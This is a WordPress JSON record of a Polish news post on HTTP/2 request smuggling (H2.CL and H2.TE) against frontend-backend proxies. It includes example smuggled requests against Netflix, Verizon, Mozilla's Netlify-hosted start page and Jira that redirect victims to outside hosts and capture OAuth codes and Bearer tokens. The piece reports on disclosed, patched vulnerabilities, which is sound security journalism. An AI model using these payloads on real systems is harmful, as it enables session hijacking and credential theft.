{"id":100934,"date":"2021-08-07T16:22:34","date_gmt":"2021-08-07T14:22:35","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy"},"modified":"2026-02-09T17:18:09","modified_gmt":"2026-02-09T15:18:09","slug":"novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pl\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","title":{"rendered":"Nowy atak na systemy frontend-backend, umo\u017cliwiaj\u0105cy wtr\u0105canie si\u0119 w zapytania.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Systemy webowe, w kt\u00f3rych frontend odbiera po\u0142\u0105czenia przez HTTP\/2, a nast\u0119pnie przekazuje je do backendu przez HTTP\/1.1, s\u0105 podatne na now\u0105 wersj\u0119 ataku \u201eHTTP Request Smuggling\u201d, kt\u00f3ry umo\u017cliwia w\u0142\u0105czenie si\u0119 w tre\u015b\u0107 zapyta\u0144 innych u\u017cytkownik\u00f3w przez wysy\u0142anie specjalnie przygotowanych zapyta\u0144 klienta, przetwarzanych w tej samej sesji mi\u0119dzy frontendem a backendem. Atak mo\u017ce by\u0107 wykorzystany do wstrzykiwania z\u0142o\u015bliwego kodu JavaScript do sesji z legaln\u0105 stron\u0105, omijania system\u00f3w ograniczenia dost\u0119pu oraz przechwytywania parametr\u00f3w uwierzytelnienia. <\/p>\n

Na problem podatne s\u0105 serwery proxy, load balancery, akceleratory webowe, systemy dostarczania tre\u015bci oraz inne konfiguracje, w kt\u00f3rych zapytania s\u0105 przekierowywane wed\u0142ug schematu frontend-backend. Autor badania wykaza\u0142 mo\u017cliwo\u015b\u0107 ataku na systemy Netflix, Verizon, Bitbucket, Netlify CDN i Atlassian, a tak\u017ce otrzyma\u0142 56 tysi\u0119cy dolar\u00f3w w programach nagr\u00f3d za wykrywanie luk w zabezpieczeniach. Obecno\u015b\u0107 problemu zosta\u0142a r\u00f3wnie\u017c potwierdzona w produktach F5 Networks. Cz\u0119\u015bciowo problem dotyczy mod_proxy w serwerze http Apache (CVE-2021-33193), a poprawki oczekiwane s\u0105 w wersji 2.4.49 (deweloperzy zostali poinformowani o problemie na pocz\u0105tku maja i otrzymali 3 miesi\u0105ce na poprawk\u0119). W nginx mo\u017cliwo\u015b\u0107 jednoczesnego okre\u015blenia nag\u0142\u00f3wk\u00f3w \u201eContent-Length\u201d i \u201eTransfer-Encoding\u201d zosta\u0142a zablokowana w ostatnim wydaniu (1.21.1). Narz\u0119dzia do przeprowadzania atak\u00f3w zosta\u0142y ju\u017c dodane do zestawu Burp i s\u0105 dost\u0119pne w formie rozszerzenia Turbo Intruder. <\/p>\n

Zasada dzia\u0142ania nowej metody wstrzykiwania zapyta\u0144 w ruch jest podobna do luki odkrytej przez tego samego badacza dwa lata temu, ale ograniczonej do frontend\u00f3w przyjmuj\u0105cych zapytania przez HTTP\/1.1. Przypomnijmy, \u017ce w schemacie frontend-backend zapytania klient\u00f3w s\u0105 przyjmowane przez dodatkowy w\u0119ze\u0142 \u2014 frontend, kt\u00f3ry ustanawia d\u0142ugoterminowe po\u0142\u0105czenie TCP z backendem zajmuj\u0105cym si\u0119 bezpo\u015bredni\u0105 obs\u0142ug\u0105 zapyta\u0144. Przez to wsp\u00f3lne po\u0142\u0105czenie zazwyczaj przekazywane s\u0105 zapytania r\u00f3\u017cnych u\u017cytkownik\u00f3w, kt\u00f3re nast\u0119puj\u0105 jedno po drugim z podzia\u0142em za pomoc\u0105 \u015brodk\u00f3w protoko\u0142u HTTP. <\/p>\n

Klasyczny atak \u201eHTTP Request Smuggling\u201d oparty by\u0142 na tym, \u017ce front-endy i back-endy r\u00f3\u017cnie interpretuj\u0105 u\u017cycie nag\u0142\u00f3wk\u00f3w HTTP \u201eContent-Length\u201d (okre\u015bla ca\u0142kowity rozmiar danych w \u017c\u0105daniu) oraz \u201eTransfer-Encoding: chunked\u201d (umo\u017cliwia przesy\u0142anie danych w cz\u0119\u015bciach). Na przyk\u0142ad, je\u015bli front-end obs\u0142uguje tylko \u201eContent-Length\u201d, ale ignoruje \u201eTransfer-Encoding: chunked\u201d, to atakuj\u0105cy mo\u017ce wys\u0142a\u0107 \u017c\u0105danie, w kt\u00f3rym jednocze\u015bnie okre\u015blono nag\u0142\u00f3wki \u201eContent-Length\u201d i \u201eTransfer-Encoding: chunked\u201d, ale rozmiar w \u201eContent-Length\u201d nie odpowiada rozmiarowi \u0142a\u0144cucha chunked. W takim przypadku front-end przetworzy i przeka\u017ce \u017c\u0105danie zgodnie z \u201eContent-Length\u201d, a back-end b\u0119dzie oczekiwa\u0142 zako\u0144czenia bloku na podstawie \u201eTransfer-Encoding: chunked\u201d, a pozosta\u0142a cz\u0119\u015b\u0107 \u017c\u0105dania atakuj\u0105cego znajdzie si\u0119 na pocz\u0105tku innego \u017c\u0105dania, przes\u0142anego nast\u0119pnie. <\/p>\n

W przeciwie\u0144stwie do tekstowego protoko\u0142u HTTP\/1.1, kt\u00f3rego analiza odbywa si\u0119 na poziomie linii, HTTP\/2 jest protoko\u0142em binarnym i manipuluje blokami danych o wcze\u015bniej okre\u015blonym rozmiarze. W HTTP\/2 u\u017cywane s\u0105 pseudo-nag\u0142\u00f3wki, kt\u00f3re odpowiadaj\u0105 zwyk\u0142ym nag\u0142\u00f3wkom HTTP. W przypadku interakcji z backendem za pomoc\u0105 protoko\u0142u HTTP\/1.1, frontend przekszta\u0142ca te pseudo-nag\u0142\u00f3wki w odpowiednie nag\u0142\u00f3wki HTTP\/1.1. Problem polega na tym, \u017ce backend podejmuje decyzje o analizie strumienia na podstawie ustawionych przez frontend nag\u0142\u00f3wk\u00f3w HTTP, nie maj\u0105c informacji o parametrach pocz\u0105tkowego \u017c\u0105dania. <\/p>\n

W tym zakresie w formie pseudonag\u0142\u00f3wk\u00f3w mog\u0105 by\u0107 przesy\u0142ane warto\u015bci \u201econtent-length\u201d i \u201etransfer-encoding\u201d, mimo \u017ce w HTTP\/2 nie s\u0105 one u\u017cywane, poniewa\u017c rozmiar wszystkich danych okre\u015blany jest w osobnym polu. Niemniej jednak, podczas konwersji \u017c\u0105dania HTTP\/2 na HTTP\/1.1, dane te s\u0105 przenoszone i mog\u0105 wprowadza\u0107 w b\u0142\u0105d back-end. Wyr\u00f3\u017cnia si\u0119 dwa g\u0142\u00f3wne warianty ataku: H2.TE i H2.CL, w kt\u00f3rych back-end jest wprowadzany w b\u0142\u0105d nieprawid\u0142ow\u0105 warto\u015bci\u0105 transfer-encoding lub content-length, niezgodn\u0105 z rzeczywistym rozmiarem cia\u0142a \u017c\u0105dania, kt\u00f3re dotar\u0142o do front-endu przez protok\u00f3\u0142 HTTP\/2.

\"Nowy<\/center> <\/p>\n

Jako przyk\u0142ad ataku H2.CL podano wskazanie niew\u0142a\u015bciwego rozmiaru w pseudo-nag\u0142\u00f3wku content-length przy wysy\u0142aniu zapytania HTTP\/2 do Netflix. To zapytanie prowadzi do dodania analogicznego nag\u0142\u00f3wka HTTP o nazwie Content-Length podczas komunikacji z backendem przez HTTP\/1.1, ale poniewa\u017c warto\u015b\u0107 w Content-Length jest mniejsza od rzeczywistej, cz\u0119\u015b\u0107 danych w ogonie jest przetwarzana jako pocz\u0105tek nast\u0119pnego zapytania. <\/p>\n

Na przyk\u0142ad zapytanie HTTP\/2 :method\tPOST :path\t\/n :authority\twww.netflix.com content-length\t4 abcdGET \/n HTTP\/1.1 Host: 02.rs?x.netflix.com Foo: bar <\/p>\n

Spowoduje to wys\u0142anie do backendu zapytania: POST \/n HTTP\/1.1 Host: www.netflix.com Content-Length: 4 abcdGET \/n HTTP\/1.1 Host: 02.rs?x.netflix.com Foo: bar <\/p>\n

Skoro Content-Length ma warto\u015b\u0107 4, back-end przyjmie jako cia\u0142o \u017c\u0105dania jedynie \u201eabcd\u201d, a pozosta\u0142\u0105 cz\u0119\u015b\u0107 \u201eGET \/n HTTP\/1.1...\u201e przetworzy jako pocz\u0105tek nast\u0119pnego \u017c\u0105dania, powi\u0105zanego z innym u\u017cytkownikiem. W zwi\u0105zku z tym nast\u0105pi rozsynchonizowanie strumienia i w odpowiedzi na nast\u0119pne \u017c\u0105danie zostanie wydany wynik przetwarzania podstawionego \u017c\u0105dania. W przypadku Netflixa wskazanie zewn\u0119trznego hosta w nag\u0142\u00f3wku \u201eHost:\u201d w podstawionym \u017c\u0105daniu doprowadzi\u0142o do zwr\u00f3cenia klientowi odpowiedzi \u201eLocation: https:\/\/02.rs?x.netflix.com\/n\u201d i umo\u017cliwi\u0142o przes\u0142anie klientowi arbitralnej tre\u015bci, w tym wykonanie swojego kodu JavaScript w kontek\u015bcie strony Netflix. <\/p>\n

Druga wersja ataku (H2.TE) zwi\u0105zana jest z wstawieniem nag\u0142\u00f3wka \u201eTransfer-Encoding: chunked\u201d. U\u017cycie pseudo-nag\u0142\u00f3wka transfer-encoding w HTTP\/2 jest zabronione przez specyfikacj\u0119, a zapytania z nim nale\u017cy traktowa\u0107 jako nieprawid\u0142owe. Mimo to, niekt\u00f3re implementacje front-end\u00f3w nie uwzgl\u0119dniaj\u0105 tego wymogu i dopuszczaj\u0105 u\u017cycie pseudo-nag\u0142\u00f3wka transfer-encoding w HTTP\/2, kt\u00f3ry jest przekszta\u0142cany w odpowiedni nag\u0142\u00f3wek HTTP. W przypadku obecno\u015bci nag\u0142\u00f3wka \u201eTransfer-Encoding\u201d backend mo\u017ce uzna\u0107 go za bardziej priorytetowy i przeprowadzi\u0107 analiz\u0119 danych w trybie \u201echunked\u201d przy u\u017cyciu blok\u00f3w o r\u00f3\u017cnych rozmiarach w formacie \u201e{rozmiar}\r\n{blok}\r\n{rozmiar}\r\n{blok}\r\n0\u201d, mimo pierwotnego podzia\u0142u po og\u00f3lnym rozmiarze. <\/p>\n

Obecno\u015b\u0107 podobnej luki zosta\u0142a zademonstrowana na przyk\u0142adzie firmy Verizon. Problem dotyczy\u0142 portalu autoryzacji i systemu zarz\u0105dzania tre\u015bci\u0105<\/a>, kt\u00f3ry jest r\u00f3wnie\u017c u\u017cywany na takich stronach jak Huffington Post i Engadget. Na przyk\u0142ad zapytanie klienta przez HTTP\/2: :method\tPOST :path\t\/identify\/XUI :authority\tid.b2b.oath.com transfer-encoding\tchunked 0 GET \/oops HTTP\/1.1 Host: psres.net Content-Length: 10 x= <\/p>\n

Prowadzi\u0142 do przes\u0142ania do backendu zapytania HTTP\/1.1: POST \/identity\/XUI HTTP\/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET \/oops HTTP\/1.1 Host: psres.net Content-Length: 10 x= <\/p>\n

Backend, z kolei, zignorowa\u0142 nag\u0142\u00f3wek \u201eContent-Length\u201d i przeprowadzi\u0142 podzia\u0142 w strumieniu na podstawie \u201eTransfer-Encoding: chunked\u201d. W praktyce atak pozwoli\u0142 na przekierowanie zapyta\u0144 u\u017cytkownik\u00f3w na jego stron\u0119, a tak\u017ce na przechwycenie zapyta\u0144 zwi\u0105zanych z uwierzytelnianiem OAuth, kt\u00f3rych parametry by\u0142y widoczne w nag\u0142\u00f3wku Referer, oraz symulacj\u0119 sesji uwierzytelnienia i inicjacj\u0119 wysy\u0142ania przez system danych uwierzytelniaj\u0105cych u\u017cytkownika do hosta atakuj\u0105cego. GET \/b2blanding\/show\/oops HTTP\/1.1 Host: psres.net Referer: https:\/\/id.b2b.oath.com\/?...&code=secret GET \/ HTTP\/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik... <\/p>\n

Dla ataku na implementacje HTTP\/2, kt\u00f3re nie dopuszczaj\u0105 wskazania pseudo-nag\u0142\u00f3wka transfer-encoding, zaproponowano jeszcze jedn\u0105 metod\u0119, zwi\u0105zan\u0105 z wstawieniem nag\u0142\u00f3wka \u201eTransfer-Encoding\u201d poprzez do\u0142\u0105czenie go do innych pseudo-nag\u0142\u00f3wk\u00f3w, oddzielaj\u0105c znakiem nowej linii (przy konwersji do HTTP\/1.1 w takim przypadku tworzone s\u0105 dwa oddzielne nag\u0142\u00f3wki HTTP). <\/p>\n

Na przyk\u0142ad wymienione problemy wyst\u0105pi\u0142y w Atlassian Jira i Netlify CDN (u\u017cywany do serwowania strony startowej Mozilli w Firefoxie). W szczeg\u00f3lno\u015bci zapytanie HTTP\/2 :method\tPOST :path\t\/ :authority\tstart.mozilla.org foo\tb\r\n transfer-encoding: chunked 0\r\n \r\n GET \/ HTTP\/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x= <\/p>\n

prowadzi\u0142o do wys\u0142ania przez backend zapytania HTTP\/1.1 POST \/ HTTP\/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET \/ HTTP\/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x= <\/p>\n

Innym sposobem na zast\u0105pienie nag\u0142\u00f3wka \u201eTransfer-Encoding\u201d by\u0142o do\u0142\u0105czenie go do nazwy innego pseudo-nag\u0142\u00f3wka lub do linii z metod\u0105 \u017c\u0105dania. Na przyk\u0142ad, przy komunikacji z Atlassian Jira, nazwa pseudo-nag\u0142\u00f3wka \u201efoo: bar\r\ntransfer-encoding\u201d z warto\u015bci\u0105 \u201echunked\u201d prowadzi\u0142a do dodania nag\u0142\u00f3wk\u00f3w HTTP \u201efoo: bar\u201d i \u201etransfer-encoding: chunked\u201d, a okre\u015blenie w pseudo-nag\u0142\u00f3wku \u201e:method\u201d warto\u015bci \u201eGET \/ HTTP\/1.1\r\nTransfer-encoding: chunked\u201d by\u0142o t\u0142umaczone na \u201eGET \/ HTTP\/1.1\r\ntransfer-encoding: chunked\u201d. <\/p>\n

Badacz, kt\u00f3ry zidentyfikowa\u0142 problem, zaproponowa\u0142 r\u00f3wnie\u017c technik\u0119 tunelowania zapyta\u0144 do przeprowadzenia ataku na fronty, w kt\u00f3rych dla ka\u017cdego adresy IP<\/a> Tworzone jest oddzielne po\u0142\u0105czenie z backendem, a ruch r\u00f3\u017cnych u\u017cytkownik\u00f3w nie jest mieszany. Proponowana technika nie pozwala na wnikanie w zapytania innych u\u017cytkownik\u00f3w, ale umo\u017cliwia zainfekowanie globalnej pami\u0119ci podr\u0119cznej, co wp\u0142ywa na przetwarzanie innych \u017c\u0105da\u0144, oraz pozwala na dokonanie podstawienia wewn\u0119trznych nag\u0142\u00f3wk\u00f3w HTTP, u\u017cywanych do przesy\u0142ania informacji serwisowych z frontendu do backendu (na przyk\u0142ad, podczas uwierzytelniania na froncie, w takich nag\u0142\u00f3wkach backend mo\u017ce otrzymywa\u0107 informacje o bie\u017c\u0105cym u\u017cytkowniku). Jako przyk\u0142ad zastosowania tej metody w praktyce, za pomoc\u0105 infekcji pami\u0119ci podr\u0119cznej uda\u0142o si\u0119 uzyska\u0107 kontrol\u0119 nad stronami w us\u0142udze Bitbucket.
\n
\u0179r\u00f3d\u0142o: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 «HTTP Request Smuggling», \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432\u043a\u043b\u0438\u043d\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u0432 \u0442\u043e\u043c \u0436\u0435 \u043f\u043e\u0442\u043e\u043a\u0435 \u043c\u0435\u0436\u0434\u0443 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434\u043e\u043c \u0438 \u0431\u044d\u043a\u0435\u043d\u0434\u043e\u043c. \u0410\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e JavaScript-\u043a\u043e\u0434\u0430 \u0432 \u0441\u0435\u0430\u043d\u0441 \u0441 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":100935,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100934","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Nowy atak na systemy frontend-backend, pozwalaj\u0105cy na wnikanie w zapytania | ProHoster","description":"Systemy webowe, w kt\u00f3rych frontend przyjmuje po\u0142\u0105czenia przez HTTP\/2 i przesy\u0142a do backendu przez HTTP\/1.1, okaza\u0142y si\u0119 podatne na now\u0105 wersj\u0119 ataku \"HTTP Request Smuggling\", co umo\u017cliwia wysy\u0142anie specjalnie sformatowanych zapyta\u0144.","canonical_url":"https:\/\/prohoster.info\/pl\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"pl_PL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041d\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434-\u0431\u044d\u043a\u0435\u043d\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u043a\u043b\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u044b | ProHoster","og:description":"Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 "HTTP Request Smuggling", \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445.","og:url":"https:\/\/prohoster.info\/pl\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-08-07T14:22:35+00:00","article:modified_time":"2026-02-09T15:18:09+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100934","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-08-07 15:27:20","updated":"2026-02-09 15:18:09","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts\/100934","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/comments?post=100934"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts\/100934\/revisions"}],"predecessor-version":[{"id":158412,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/posts\/100934\/revisions\/158412"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/media\/100935"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/media?parent=100934"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/categories?post=100934"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/pl\/wp-json\/wp\/v2\/tags?post=100934"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}